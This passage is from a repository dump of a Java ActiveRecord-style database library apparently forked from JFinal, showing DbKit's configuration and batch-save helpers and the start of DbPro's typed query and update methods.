}\n//\n//    public static SqlPara getSqlPara(String key, Model model) {\n//    \treturn MAIN.getSqlPara(key, model);\n//    }\n//\n//    public static SqlPara getSqlPara(String key, Map data) {\n//    \treturn MAIN.getSqlPara(key, data);\n//    }\n//\n//    public static SqlPara getSqlPara(String key, Object... paras) {\n//    \treturn MAIN.getSqlPara(key, paras);\n//    }\n//\n//\tpublic static SqlPara getSqlParaByString(String content, Map data) {\n//\t\treturn MAIN.getSqlParaByString(content, data);\n//\t}\n//\n//\tpublic static SqlPara getSqlParaByString(String content, Object... paras) {\n//\t\treturn MAIN.getSqlParaByString(content, paras);\n//\t}\n//\n//    public static List<Record> find(SqlPara sqlPara) {\n//    \treturn MAIN.find(sqlPara);\n//    }\n//\n//    public static Record findFirst(SqlPara sqlPara) {\n//    \treturn MAIN.findFirst(sqlPara);\n//    }\n//\n//    public static int update(SqlPara sqlPara) {\n//    \treturn MAIN.update(sqlPara);\n//    }\n//\n//    public static Page<Record> paginate(int pageNumber, int pageSize, SqlPara sqlPara) {\n//    \treturn MAIN.paginate(pageNumber, pageSize, sqlPara);\n//    }\n//\n//\tpublic static Page<Record> paginate(int pageNumber, int pageSize, boolean isGroupBySql, SqlPara sqlPara) {\n//\t\treturn MAIN.paginate(pageNumber, pageSize, isGroupBySql, sqlPara);\n//\t}\n\t\n\t// ---------\n\t\n\t/**\n\t * 迭代处理每一个查询出来的 Record 对象\n\t * <pre>\n\t * 例子：\n\t * Db.each(record -> {\n\t *    // 处理 record 的代码在此\n\t *    \n\t *    // 返回 true 继续循环处理下一条数据，返回 false 立即终止循环\n\t *    return true;\n\t * }, sql, paras);\n\t * </pre>\n\t */\n\tpublic static void each(Function<Record, Boolean> func, String sql, Object... paras) {\n\t\tMAIN.each(func, sql, paras);\n\t}\n\t\n\t// ---------\n\t\n\t/**\n\t * 使用 sql 模板进行查询，可以省去 Db.getSqlPara(...) 调用\n\t * \n\t * <pre>\n\t * 例子：\n\t * Db.template(\"blog.find\", Kv.by(\"id\", 123).find();\n\t * </pre>\n\t */\n//\tpublic static DbTemplate template(String key, Map data) {\n//\t\treturn MAIN.template(key, data);\n//\t}\n\t\n\t/**\n\t * 使用 sql 模板进行查询，可以省去 Db.getSqlPara(...) 调用\n\t * \n\t * <pre>\n\t * 例子：\n\t * Db.template(\"blog.find\", 123).find();\n\t * </pre>\n\t */\n//\tpublic static DbTemplate template(String key, Object... paras) {\n//\t\treturn MAIN.template(key, paras);\n//\t}\n\t\n\t// ---------\n\t\n\t/**\n\t * 使用字符串变量作为 sql 模板进行查询，可省去外部 sql 文件来使用\n\t * sql 模板功能\n\t * \n\t * <pre>\n\t * 例子：\n\t * String sql = \"select * from blog where id = #para(id)\";\n\t * Db.templateByString(sql, Kv.by(\"id\", 123).find();\n\t * </pre>\n\t */\n//\tpublic static DbTemplate templateByString(String content, Map data) {\n//\t\treturn MAIN.templateByString(content, data);\n//\t}\n\t\n\t/**\n\t * 使用字符串变量作为 sql 模板进行查询，可省去外部 sql 文件来使用\n\t * sql 模板功能\n\t * \n\t * <pre>\n\t * 例子：\n\t * String sql = \"select * from blog where id = #para(0)\";\n\t * Db.templateByString(sql, 123).find();\n\t * </pre>\n\t */\n//\tpublic static DbTemplate templateByString(String content, Object... paras) {\n//\t\treturn MAIN.templateByString(content, paras);\n//\t}\n}\n\n\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord2/src/main/java/io/github/wujun728/db/record/DbKit.java",
    "content": "/**\n * Copyright (c) 2011-2015, James Zhan 詹波 (jfinal@126.com).\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage io.github.wujun728.db.record;\n\nimport cn.hutool.log.StaticLog;\nimport io.github.wujun728.db.record.kit.StrKit;\n\nimport java.sql.Connection;\nimport java.sql.ResultSet;\nimport java.sql.SQLException;\nimport java.sql.Statement;\nimport java.util.*;\n\n/**\n * DbKit\n */\n@SuppressWarnings(\"rawtypes\")\npublic final class DbKit {\n\t\n\tpublic static final int DB_BATCH_COUNT = 1024;\n\t/**\n\t * The main Config object for system\n\t */\n\tstatic Config config = null;\n\n\t/**\n\t * 1: For ActiveRecordPlugin.useAsDataTransfer(...) 用于分布式场景\n\t * 2: For Model.getAttrsMap()/getModifyFlag() and Record.getColumnsMap()\n\t * while the ActiveRecordPlugin not start or the Exception throws of HashSessionManager.restorSession(..) by Jetty\n\t */\n\tstatic Config brokenConfig = Config.createBrokenConfig();\n\n//\tprivate static Map<Class<? extends Model>, Config> modelToConfig = new HashMap<Class<? extends Model>, Config>(512, 0.5F);\n\tprivate static Map<String, Config> configNameToConfig = new HashMap<String, Config>(32, 0.25F);\n\n\tstatic final Object[] NULL_PARA_ARRAY = new Object[0];\n\tpublic static final String MAIN_CONFIG_NAME = \"main\";\n\tpublic static final int DEFAULT_TRANSACTION_LEVEL = Connection.TRANSACTION_REPEATABLE_READ;\n\n\tprivate DbKit() {}\n\n\t/**\n\t * Add Config object\n\t * @param config the Config contains DataSource, Dialect and so on\n\t */\n\tpublic static void addConfig(Config config) {\n\t\tif (config == null) {\n\t\t\tthrow new IllegalArgumentException(\"Config can not be null\");\n\t\t}\n\t\tif (configNameToConfig.containsKey(config.getName())) {\n\t\t\t//throw new IllegalArgumentException(\"Config already exists: \" + config.getName());\n\t\t\tStaticLog.error(\"Config already exists: \" + config.getName());\n\t\t}\n\n\t\tconfigNameToConfig.put(config.getName(), config);\n\n\t\t/**\n\t\t * Replace the main config if current config name is MAIN_CONFIG_NAME\n\t\t */\n\t\tif (MAIN_CONFIG_NAME.equals(config.getName())) {\n\t\t\tDbKit.config = config;\n\t\t\tDb.init(DbKit.config.getName());\n\t\t}\n\n\t\t/**\n\t\t * The configName may not be MAIN_CONFIG_NAME,\n\t\t * the main config have to set the first comming Config if it is null\n\t\t */\n\t\tif (DbKit.config == null) {\n\t\t\tDbKit.config = config;\n\t\t\tDb.init(DbKit.config.getName());\n\t\t}\n\t}\n\n\tpublic static Config removeConfig(String configName) {\n\t\tif (DbKit.config != null && DbKit.config.getName().equals(configName)) {\n\t\t\t// throw new RuntimeException(\"Can not remove the main config.\");\n\t\t\tDbKit.config = null;\n\t\t}\n\n\t\tDb.removeDbProWithConfig(configName);\n\t\treturn configNameToConfig.remove(configName);\n\t}\n\n//\tstatic void addModelToConfigMapping(Class<? extends Model> modelClass, Config config) {\n//\t\tmodelToConfig.put(modelClass, config);\n//\t}\n\n\tpublic static Config getConfig() {\n\t\treturn config;\n\t}\n\n\tpublic static Config getConfig(String configName) {\n\t\treturn configNameToConfig.get(configName);\n\t}\n\n//\tpublic static Config getConfig(Class<? extends Model> modelClass) {\n//\t\treturn modelToConfig.get(modelClass);\n//\t}\n\n\tstatic final void close(ResultSet rs, Statement st) throws SQLException {\n\t\tif (rs != null) {rs.close();}\n\t\tif (st != null) {st.close();}\n\t}\n\n\tstatic final void close(ResultSet rs) throws SQLException {\n\t\tif (rs != null) {rs.close();}\n\t}\n\n\tstatic final void close(Statement st) throws SQLException {\n\t\tif (st != null) {st.close();}\n\t}\n\n\tpublic static Set<Map.Entry<String, Config>> getConfigSet() {\n\t\treturn configNameToConfig.entrySet();\n\t}\n\n\t@SuppressWarnings(\"unchecked\")\n//\tpublic static Class<? extends Model> getUsefulClass(Class<? extends Model> modelClass) {\n//\t\t// com.demo.blog.Blog$$EnhancerByCGLIB$$69a17158\n//\t\t// return (Class<? extends Model>)((modelClass.getName().indexOf(\"EnhancerByCGLIB\") == -1 ? modelClass : modelClass.getSuperclass()));\n//\t\t// return (Class<? extends Model>)(modelClass.getName().indexOf(\"$$EnhancerBy\") == -1 ? modelClass : modelClass.getSuperclass());\n//\t\tString n = modelClass.getName();\n//\t\treturn (Class<? extends Model>)(n.indexOf(\"_$$_\") > -1 || n.indexOf(\"$$Enhancer\") > -1 ? modelClass.getSuperclass() : modelClass);\n//\t}\n\n\t/**\n\t * 原有框架方法更新只会取modelList第一个元素的字段状态，批量更新的SQL全部相同，只是参数值不同\n\t * 本方法会根据modelList中所有元素，生成不同的SQL和参数，分批分别执行\n\t * 自动过滤所有null值属性\n\t *\n\t * @param modelList\n\t * @param batchSize\n\t * @param db 使用的数据源，为空时使用默认\n\t * @return\n\t * @see ：https://jfinal.com/share/2629\n\t */\n//\tpublic static List<Integer> batchListUpdate(List<? extends Model> modelList, int batchSize,String db) {\n//\t\tif (modelList == null || modelList.size() == 0)\n//\t\t\treturn new ArrayList<>();\n//\t\tMap<String, BatchInfo> modelUpdateMap = new HashMap<>();\n//\n//\t\tfor (Model model : modelList) {\n//\t\t\tSet<String> modifyFlag = CPI.getModifyFlag(model);\n//\t\t\tConfig config = CPI.getConfig(model);\n//\t\t\tTable table = TableMapping.me().getTable(model.getClass());\n//\t\t\tString[] pKeys = table.getPrimaryKey();\n//\t\t\tMap<String, Object> attrs = CPI.getAttrs(model);\n//\t\t\tList<String> attrNames = new ArrayList<>();\n//\n//\t\t\t// the same as the iterator in Dialect.forModelSave() to ensure the order of the attrs\n//\t\t\tfor (Map.Entry<String, Object> e : attrs.entrySet()) {\n//\t\t\t\tString attr = e.getKey();\n//\t\t\t\tif (modifyFlag.contains(attr) && !config.getDialect().isPrimaryKey(attr, pKeys) && table.hasColumnLabel(attr))\n//\t\t\t\t\tattrNames.add(attr);\n//\t\t\t}\n//\t\t\tfor (String pKey : pKeys)\n//\t\t\t\tattrNames.add(pKey);\n//\t\t\tString columns = StrKit.join(attrNames.toArray(new String[attrNames.size()]), \",\");\n//\t\t\tBatchInfo updateInfo = modelUpdateMap.get(columns);\n//\t\t\tif (updateInfo == null) {\n//\t\t\t\tupdateInfo = new BatchInfo();\n//\t\t\t\tupdateInfo.list = new ArrayList<>();\n//\t\t\t\tStringBuilder sql = new StringBuilder();\n//\t\t\t\tconfig.getDialect().forModelUpdate(TableMapping.me().getTable(model.getClass()), attrs, modifyFlag, sql, new ArrayList<>());\n//\t\t\t\tupdateInfo.sql = sql.toString();\n//\t\t\t\tmodelUpdateMap.put(columns, updateInfo);\n//\t\t\t}\n//\t\t\tupdateInfo.list.add(model);\n//\t\t}\n//\t\treturn batchModelList(modelList, batchSize,db, modelUpdateMap);\n//\t}\n//\tpublic static List<Integer> batchListUpdate(List<? extends Model> modelList) {\n//\t\treturn batchListUpdate(modelList,DB_BATCH_COUNT,null);\n//\t}\n//\tpublic static List<Integer> batchListUpdate(List<? extends Model> modelList, String db) {\n//\t\treturn batchListUpdate(modelList,DB_BATCH_COUNT,db);\n//\t}\n\n\tprivate static List<Integer> batchModelList(List list, int batchSize, String db, Map<String, BatchInfo> modelUpdateMap) {\n\t\tList<Integer> ret = new ArrayList<>(list.size());\n\t\tDbPro dbPro;\n\t\tif(StrKit.isBlank(db)){\n\t\t\tdbPro = Db.use();\n\t\t}else{\n\t\t\tdbPro=Db.use(db);\n\t\t}\n\t\t//批量更新\n\t\tfor (Map.Entry<String, BatchInfo> entry : modelUpdateMap.entrySet()) {\n\t\t\tint[] batch = dbPro.batch(entry.getValue().sql, entry.getKey(), entry.getValue().list, batchSize);\n\t\t\tfor (int i : batch) {\n\t\t\t\tret.add(i);\n\t\t\t}\n\t\t}\n\t\treturn ret;\n\t}\n\n\t/**\n\t * 原有框架方法更新只会取modelList第一个元素的字段状态，批量插入的SQL全部相同，只是参数值不同\n\t * 本方法会根据modelList中所有元素，生成不同的SQL和参数，分批分别执行\n\t * 自动过滤所有null值属性\n\t *\n//\t * @param modelList\n//\t * @param batchSize\n//\t * @param db 使用的数据源，为空时使用默认\n//\t * @return\n//\t * @see ：https://jfinal.com/share/2629\n\t */\n//\tpublic static List<Integer> batchListSave(List<? extends Model> modelList, int batchSize, String db) {\n//\t\tif (modelList == null || modelList.size() == 0)\n//\t\t\treturn new ArrayList<>();\n//\t\tMap<String, BatchInfo> modelUpdateMap = new HashMap<>();\n//\n//\t\tfor (Model model : modelList) {\n//\t\t\tConfig config = CPI.getConfig(model);\n//\t\t\tMap<String, Object> attrs = CPI.getAttrs(model);\n//\t\t\tint index = 0;\n//\t\t\tStringBuilder columns = new StringBuilder();\n//\t\t\t// the same as the iterator in Dialect.forModelSave() to ensure the order of the attrs\n//\t\t\tfor (Map.Entry<String, Object> e : attrs.entrySet()) {\n//\t\t\t\tif (index++ > 0) {\n//\t\t\t\t\tcolumns.append(',');\n//\t\t\t\t}\n//\t\t\t\tcolumns.append(e.getKey());\n//\t\t\t}\n//\t\t\tString cs = columns.toString();\n//\t\t\tBatchInfo batchInfo = modelUpdateMap.get(cs);\n//\t\t\tif (batchInfo == null) {\n//\t\t\t\tbatchInfo = new BatchInfo();\n//\t\t\t\tbatchInfo.list = new ArrayList<>();\n//\t\t\t\tStringBuilder sql = new StringBuilder();\n//\t\t\t\tconfig.getDialect().forModelSave(TableMapping.me().getTable(model.getClass()), attrs, sql, new ArrayList());\n//\t\t\t\tbatchInfo.sql = sql.toString();\n//\t\t\t\tmodelUpdateMap.put(cs, batchInfo);\n//\t\t\t}\n//\t\t\tbatchInfo.list.add(model);\n//\t\t}\n//\t\treturn batchModelList(modelList, batchSize, db,modelUpdateMap);\n//\t}\n//\tpublic static List<Integer> batchListSave(List<? extends Model> modelList) {\n//\t\treturn batchListSave(modelList,DB_BATCH_COUNT,null);\n//\t}\n//\tpublic static List<Integer> batchListSave(List<? extends Model> modelList,String db) {\n//\t\treturn batchListSave(modelList,DB_BATCH_COUNT,db);\n//\t}\n\tpublic static List<Integer> batchListSave(String tableName,List<? extends Record> recordList, int batchSize, String db) {\n\t\tif (recordList == null || recordList.size() == 0)\n\t\t\treturn new ArrayList<>();\n\t\tMap<String, BatchInfo> updateMap = new HashMap<>();\n\n\t\tfor (Record record : recordList) {\n\t\t\tMap<String, Object> attrs = record.getColumns();\n\t\t\tint index = 0;\n\t\t\tStringBuilder columns = new StringBuilder();\n\t\t\t// the same as the iterator in Dialect.forModelSave() to ensure the order of the attrs\n\t\t\tfor (Map.Entry<String, Object> e : attrs.entrySet()) {\n\t\t\t\tif (index++ > 0) {\n\t\t\t\t\tcolumns.append(',');\n\t\t\t\t}\n\t\t\t\tcolumns.append(e.getKey());\n\t\t\t}\n\t\t\tString cs = columns.toString();\n\t\t\tBatchInfo batchInfo = updateMap.get(cs);\n\t\t\tif (batchInfo == null) {\n\t\t\t\tbatchInfo = new BatchInfo();\n\t\t\t\tbatchInfo.list = new ArrayList<>();\n\t\t\t\tStringBuilder sql = new StringBuilder();\n\t\t\t\tDb.use().getConfig().getDialect().forDbSave(tableName, new String[0], record, sql, new ArrayList<>());\n\t\t\t\tbatchInfo.sql = sql.toString();\n\t\t\t\tupdateMap.put(cs, batchInfo);\n\t\t\t}\n\t\t\tbatchInfo.list.add(record);\n\t\t}\n\t\treturn batchModelList(recordList, batchSize,db, updateMap);\n\t}\n\tpublic static List<Integer> batchListSave(String tableName,List<? extends Record> recordList) {\n\t\treturn batchListSave(tableName,recordList,DB_BATCH_COUNT,null);\n\t}\n\t/**\n\t * 设置IN查询的sql和参数\n\t *\n\t * @param paras\n\t * @param sb\n\t * @param inParas\n\t * @return\n\t */\n\tpublic static StringBuilder buildInSqlPara(List<Object> paras, StringBuilder sb, Object[] inParas) {\n\t\tsb.append(\"(\");\n\t\tfor (int i = 0; i < inParas.length; i++) {\n\t\t\tparas.add(inParas[i]);\n\t\t\tif (i < inParas.length - 1) {\n\t\t\t\tsb.append(\"?,\");\n\t\t\t} else {\n\t\t\t\tsb.append(\"?)\");\n\t\t\t}\n\t\t}\n\t\treturn sb;\n\t}\n\n\tpublic static class BatchInfo {\n\t\tpublic String sql;\n\t\tpublic List list;\n\t}\n}\n\n\n\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord2/src/main/java/io/github/wujun728/db/record/DbPro.java",
    "content": "/**\n * Copyright (c) 2011-2015, James Zhan 詹波 (jfinal@126.com).\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage io.github.wujun728.db.record;\n\nimport cn.hutool.log.StaticLog;\nimport io.github.wujun728.db.record.kit.LogKit;\nimport io.github.wujun728.db.record.kit.StrKit;\nimport io.github.wujun728.db.record.kit.TimeKit;\n\nimport java.math.BigDecimal;\nimport java.math.BigInteger;\nimport java.sql.*;\nimport java.time.LocalDate;\nimport java.time.LocalDateTime;\nimport java.time.LocalTime;\nimport java.time.temporal.Temporal;\nimport java.util.*;\nimport java.util.concurrent.Future;\nimport java.util.concurrent.FutureTask;\nimport java.util.function.Function;\n\n/**\n * DbPro. Professional database query and update tool.\n */\n@SuppressWarnings({\"rawtypes\", \"unchecked\"})\npublic class DbPro {\n\t\n\tprotected final Config config;\n\tprivate static final Map<String, DbPro> map = new HashMap<String, DbPro>();\n\t\tpublic static DbPro use(String configName) {\n\t\tDbPro result = map.get(configName);\n\t\tif (result == null) {\n\t\t\tresult = new DbPro(configName);\n\t\t\tmap.put(configName, result);\n\t\t}\n\t\treturn result;\n\t}\n\t\n\tpublic static DbPro use() {\n\t\treturn use(DbKit.config.name);\n\t}\n\tpublic void setShowSql(boolean showSql) {\n\t\tconfig.showSql = showSql;\n\t}\n\t\n\t\n\tpublic DbPro() {\n\t\tif (DbKit.config == null) {\n\t\t\tthrow new RuntimeException(\"The main config is null, initialize ActiveRecordPlugin first\");\n\t\t}\n\t\tthis.config = DbKit.config;\n\t}\n\t\n\tpublic DbPro(String configName) {\n\t\tthis.config = DbKit.getConfig(configName);\n\t\tif (this.config == null) {\n\t\t\tthrow new IllegalArgumentException(\"Config not found by configName: \" + configName);\n\t\t}\n\t}\n\t\n\tpublic Config getConfig() {\n\t\treturn config;\n\t}\n\t\n\tprotected <T> List<T> query(Config config, Connection conn, String sql, Object... paras) throws SQLException {\n\t\tList result = new ArrayList();\n\t\ttry (PreparedStatement pst = conn.prepareStatement(sql)) {\n\t\t\tconfig.dialect.fillStatement(pst, paras);\n\t\t\tResultSet rs = pst.executeQuery();\n\t\t\tint colAmount = rs.getMetaData().getColumnCount();\n\t\t\tif (colAmount > 1) {\n\t\t\t\twhile (rs.next()) {\n\t\t\t\t\tObject[] temp = new Object[colAmount];\n\t\t\t\t\tfor (int i=0; i<colAmount; i++) {\n\t\t\t\t\t\ttemp[i] = rs.getObject(i + 1);\n\t\t\t\t\t}\n\t\t\t\t\tresult.add(temp);\n\t\t\t\t}\n\t\t\t}\n\t\t\telse if(colAmount == 1) {\n\t\t\t\twhile (rs.next()) {\n\t\t\t\t\tresult.add(rs.getObject(1));\n\t\t\t\t}\n\t\t\t}\n\t\t\tDbKit.close(rs);\n\t\t\treturn result;\n\t\t}\n\t}\n\t\n\tpublic <T> List<T> query(String sql, Object... paras) {\n\t\tConnection conn = null;\n\t\ttry {\n\t\t\tconn = config.getConnection();\n\t\t\treturn query(config, conn, sql, paras);\n\t\t} catch (Exception e) {\n\t\t\tthrow new ActiveRecordException(e);\n\t\t} finally {\n\t\t\tconfig.close(conn);\n\t\t}\n\t}\n\t\n\t/**\n\t * @see #query(String, Object...)\n\t * @param sql an SQL statement\n\t */\n\tpublic <T> List<T> query(String sql) {\t\t// return  List<object[]> or List<object>\n\t\treturn query(sql, DbKit.NULL_PARA_ARRAY);\n\t}\n\t\n\t/**\n\t * Execute sql query and return the first result. I recommend add \"limit 1\" in your sql.\n\t * @param sql an SQL statement that may contain one or more '?' IN parameter placeholders\n\t * @param paras the parameters of sql\n\t * @return Object[] if your sql has select more than one column,\n\t * \t\t\tand it return Object if your sql has select only one column.\n\t */\n\tpublic <T> T queryFirst(String sql, Object... paras) {\n\t\tList<T> result = query(sql, paras);\n\t\treturn (result.size() > 0 ? result.get(0) : null);\n\t}\n\t\n\t/**\n\t * @see #queryFirst(String, Object...)\n\t * @param sql an SQL statement\n\t */\n\tpublic <T> T queryFirst(String sql) {\n\t\t// return queryFirst(sql, NULL_PARA_ARRAY);\n\t\tList<T> result = query(sql, DbKit.NULL_PARA_ARRAY);\n\t\treturn (result.size() > 0 ? result.get(0) : null);\n\t}\n\t\n\t// 26 queryXxx method below -----------------------------------------------\n\t/**\n\t * Execute sql query just return one column.\n\t * @param <T> the type of the column that in your sql's select statement\n\t * @param sql an SQL statement that may contain one or more '?' IN parameter placeholders\n\t * @param paras the parameters of sql\n\t * @return <T> T\n\t */\n\tpublic <T> T queryColumn(String sql, Object... paras) {\n\t\tList<T> result = query(sql, paras);\n\t\tif (result.size() > 0) {\n\t\t\tT temp = result.get(0);\n\t\t\tif (temp instanceof Object[])\n\t\t\t\tthrow new ActiveRecordException(\"Only ONE COLUMN can be queried.\");\n\t\t\treturn temp;\n\t\t}\n\t\treturn null;\n\t}\n\t\n\tpublic <T> T queryColumn(String sql) {\n\t\treturn (T)queryColumn(sql, DbKit.NULL_PARA_ARRAY);\n\t}\n\t\n\tpublic String queryStr(String sql, Object... paras) {\n\t\tObject s = queryColumn(sql, paras);\n\t\treturn s != null ? s.toString() : null;\n\t}\n\t\n\tpublic String queryStr(String sql) {\n\t\treturn queryStr(sql, DbKit.NULL_PARA_ARRAY);\n\t}\n\t\n\tpublic Integer queryInt(String sql, Object... paras) {\n\t\tNumber n = queryNumber(sql, paras);\n\t\treturn n != null ? n.intValue() : null;\n\t}\n\t\n\tpublic Integer queryInt(String sql) {\n\t\treturn queryInt(sql, DbKit.NULL_PARA_ARRAY);\n\t}\n\t\n\tpublic Long queryLong(String sql, Object... paras) {\n\t\tNumber n = queryNumber(sql, paras);\n\t\treturn n != null ? n.longValue() : null;\n\t}\n\t\n\tpublic Long queryLong(String sql) {\n\t\treturn queryLong(sql, DbKit.NULL_PARA_ARRAY);\n\t}\n\t\n\tpublic Double queryDouble(String sql, Object... paras) {\n\t\tNumber n = queryNumber(sql, paras);\n\t\treturn n != null ? n.doubleValue() : null;\n\t}\n\t\n\tpublic Double queryDouble(String sql) {\n\t\treturn queryDouble(sql, DbKit.NULL_PARA_ARRAY);\n\t}\n\t\n\tpublic Float queryFloat(String sql, Object... paras) {\n\t\tNumber n = queryNumber(sql, paras);\n\t\treturn n != null ? n.floatValue() : null;\n\t}\n\t\n\tpublic Float queryFloat(String sql) {\n\t\treturn queryFloat(sql, DbKit.NULL_PARA_ARRAY);\n\t}\n\t\n\tpublic BigDecimal queryBigDecimal(String sql, Object... paras) {\n\t\tObject n = queryColumn(sql, paras);\n\t\tif (n instanceof BigDecimal) {\n\t\t\treturn (BigDecimal)n;\n\t\t} else if (n != null) {\n\t\t\treturn new BigDecimal(n.toString());\n\t\t} else {\n\t\t\treturn null;\n\t\t}\n\t}\n\t\n\tpublic BigDecimal queryBigDecimal(String sql) {\n\t\treturn queryBigDecimal(sql, DbKit.NULL_PARA_ARRAY);\n\t}\n\t\n\tpublic BigInteger queryBigInteger(String sql, Object... paras) {\n\t\tObject n = queryColumn(sql, paras);\n\t\tif (n instanceof BigInteger) {\n\t\t\treturn (BigInteger)n;\n\t\t} else if (n != null) {\n\t\t\treturn new BigInteger(n.toString());\n\t\t} else {\n\t\t\treturn null;\n\t\t}\n\t}\n\t\n\tpublic BigInteger queryBigInteger(String sql) {\n\t\treturn queryBigInteger(sql, DbKit.NULL_PARA_ARRAY);\n\t}\n\t\n\tpublic byte[] queryBytes(String sql, Object... paras) {\n\t\treturn (byte[])queryColumn(sql, paras);\n\t}\n\t\n\tpublic byte[] queryBytes(String sql) {\n\t\treturn (byte[])queryColumn(sql, DbKit.NULL_PARA_ARRAY);\n\t}\n\t\n\tpublic java.util.Date queryDate(String sql, Object... paras) {\n\t\tObject d = queryColumn(sql, paras);\n\t\t\n\t\tif (d instanceof Temporal) {\n\t\t\tif (d instanceof LocalDateTime) {\n\t\t\t\treturn TimeKit.toDate((LocalDateTime)d);\n\t\t\t}\n\t\t\tif (d instanceof LocalDate) {\n\t\t\t\treturn TimeKit.toDate((LocalDate)d);\n\t\t\t}\n\t\t\tif (d instanceof LocalTime) {\n\t\t\t\treturn TimeKit.toDate((LocalTime)d);\n\t\t\t}\n\t\t}\n\t\t\n\t\treturn (java.util.Date)d;\n\t}\n\t\n\tpublic java.util.Date queryDate(String sql) {\n\t\treturn queryDate(sql, DbKit.NULL_PARA_ARRAY);\n\t}\n\t\n\tpublic LocalDateTime queryLocalDateTime(String sql, Object... paras) {\n\t\tObject d = queryColumn(sql, paras);\n\t\t\n\t\tif (d instanceof LocalDateTime) {\n\t\t\treturn (LocalDateTime)d;\n\t\t}\n\t\tif (d instanceof LocalDate) {\n\t\t\treturn ((LocalDate)d).atStartOfDay();\n\t\t}\n\t\tif (d instanceof LocalTime) {\n\t\t\treturn LocalDateTime.of(LocalDate.now(), (LocalTime)d);\n\t\t}\n\t\tif (d instanceof java.util.Date) {\n\t\t\treturn TimeKit.toLocalDateTime((java.util.Date)d);\n\t\t}\n\t\t\n\t\treturn (LocalDateTime)d;\n\t}\n\t\n\tpublic LocalDateTime queryLocalDateTime(String sql) {\n\t\treturn queryLocalDateTime(sql, DbKit.NULL_PARA_ARRAY);\n\t}\n\t\n\tpublic java.sql.Time queryTime(String sql, Object... paras) {\n\t\treturn (java.sql.Time)queryColumn(sql, paras);\n\t}\n\t\n\tpublic java.sql.Time queryTime(String sql) {\n\t\treturn (java.sql.Time)queryColumn(sql, DbKit.NULL_PARA_ARRAY);\n\t}\n\t\n\tpublic java.sql.Timestamp queryTimestamp(String sql, Object... paras) {\n\t\treturn (java.sql.Timestamp)queryColumn(sql, paras);\n\t}\n\t\n\tpublic java.sql.Timestamp queryTimestamp(String sql) {\n\t\treturn (java.sql.Timestamp)queryColumn(sql, DbKit.NULL_PARA_ARRAY);\n\t}\n\t\n\tpublic Boolean queryBoolean(String sql, Object... paras) {\n\t\treturn (Boolean)queryColumn(sql, paras);\n\t}\n\t\n\tpublic Boolean queryBoolean(String sql) {\n\t\treturn (Boolean)queryColumn(sql, DbKit.NULL_PARA_ARRAY);\n\t}\n\t\n\tpublic Short queryShort(String sql, Object... paras) {\n\t\tNumber n = queryNumber(sql, paras);\n\t\treturn n != null ? n.shortValue() : null;\n\t}\n\t\n\tpublic Short queryShort(String sql) {\n\t\treturn queryShort(sql, DbKit.NULL_PARA_ARRAY);\n\t}\n\t\n\tpublic Byte queryByte(String sql, Object... paras) {\n\t\tNumber n = queryNumber(sql, paras);\n\t\treturn n != null ? n.byteValue() : null;\n\t}\n\t\n\tpublic Byte queryByte(String sql) {\n\t\treturn queryByte(sql, DbKit.NULL_PARA_ARRAY);\n\t}\n\t\n\tpublic Number queryNumber(String sql, Object... paras) {\n\t\treturn (Number)queryColumn(sql, paras);\n\t}\n\t\n\tpublic Number queryNumber(String sql) {\n\t\treturn (Number)queryColumn(sql, DbKit.NULL_PARA_ARRAY);\n\t}\n\t// 26 queryXxx method under -----------------------------------------------\n\t\n\t/**\n\t * Execute sql update\n\t */\n\tprotected int update(Config config, Connection conn, String sql, Object... paras) throws SQLException {\n\t\ttry (PreparedStatement pst = conn.prepareStatement(sql)) {\n\t\t\tconfig.dialect.fillStatement(pst, paras);\n\t\t\tint result = pst.executeUpdate();\n\t\t\treturn result;\n\t\t}\n\t}\n\t\n\t/**\n\t * Execute update, insert or delete sql statement.\n\t * @param sql an SQL statement that may contain one or more '?' IN parameter placeholders\n\t * @param paras the parameters of sql\n\t * @return either the row count for <code>INSERT</code>, <code>UPDATE</code>,\n     *         or <code>DELETE</code> statements, or 0 for SQL statements \n     *         that return nothing\n\t */\n\tpublic int update(String sql, Object... paras) {\n\t\tConnection conn = null;\n\t\ttry {\n\t\t\tconn = config.getConnection();\n\t\t\treturn update(config, conn, sql, paras);\n\t\t} catch (Exception e) {\n\t\t\tthrow new ActiveRecordException(e);\n\t\t} finally {\n\t\t\tconfig.close(conn);\n\t\t}\n\t}\n\t\n\t/**\n\t * @see #update(String, Object...)\n\t * @param sql an SQL statement\n\t */\n\tpublic int update(String sql) {\n\t\treturn update(sql, DbKit.NULL_PARA_ARRAY);\n\t}\n\t\n\tprotected List<Record> find(Config config, Connection conn, String sql, Object... paras) throws SQLException {\n\t\ttry (PreparedStatement pst = conn.prepareStatement(sql)) {\n\t\t\tconfig.dialect.fillStatement(pst, paras);\n\t\t\tResultSet rs = pst.executeQuery();\n\t\t\tList<Record> result = config.dialect.buildRecordList(config, rs);\t// RecordBuilder.build(config, rs);\n\t\t\tDbKit.close(rs);\n\t\t\treturn result;\n\t\t}\n\t}\n\t\n\n\tpublic List<Record> find(String sql, Object... paras) {\n\t\tConnection conn = null;\n\t\ttry {\n\t\t\tconn = config.getConnection();\n\t\t\treturn find(config, conn, sql, paras);\n\t\t} catch (Exception e) {\n\t\t\tthrow new ActiveRecordException(e);\n\t\t} finally {\n\t\t\tconfig.close(conn);\n\t\t}\n\t}\n\t\n\tpublic List<Record> find(String sql) {\n\t\treturn find(sql, DbKit.NULL_PARA_ARRAY);\n\t}\n\t\n\tpublic List<Record> findAll(String tableName) {\n\t\tString sql = config.dialect.forFindAll(tableName);\n\t\treturn find(sql, DbKit.NULL_PARA_ARRAY);\n\t}\n\t\n\t/**\n\t * Find first record. I recommend add \"limit 1\" in your 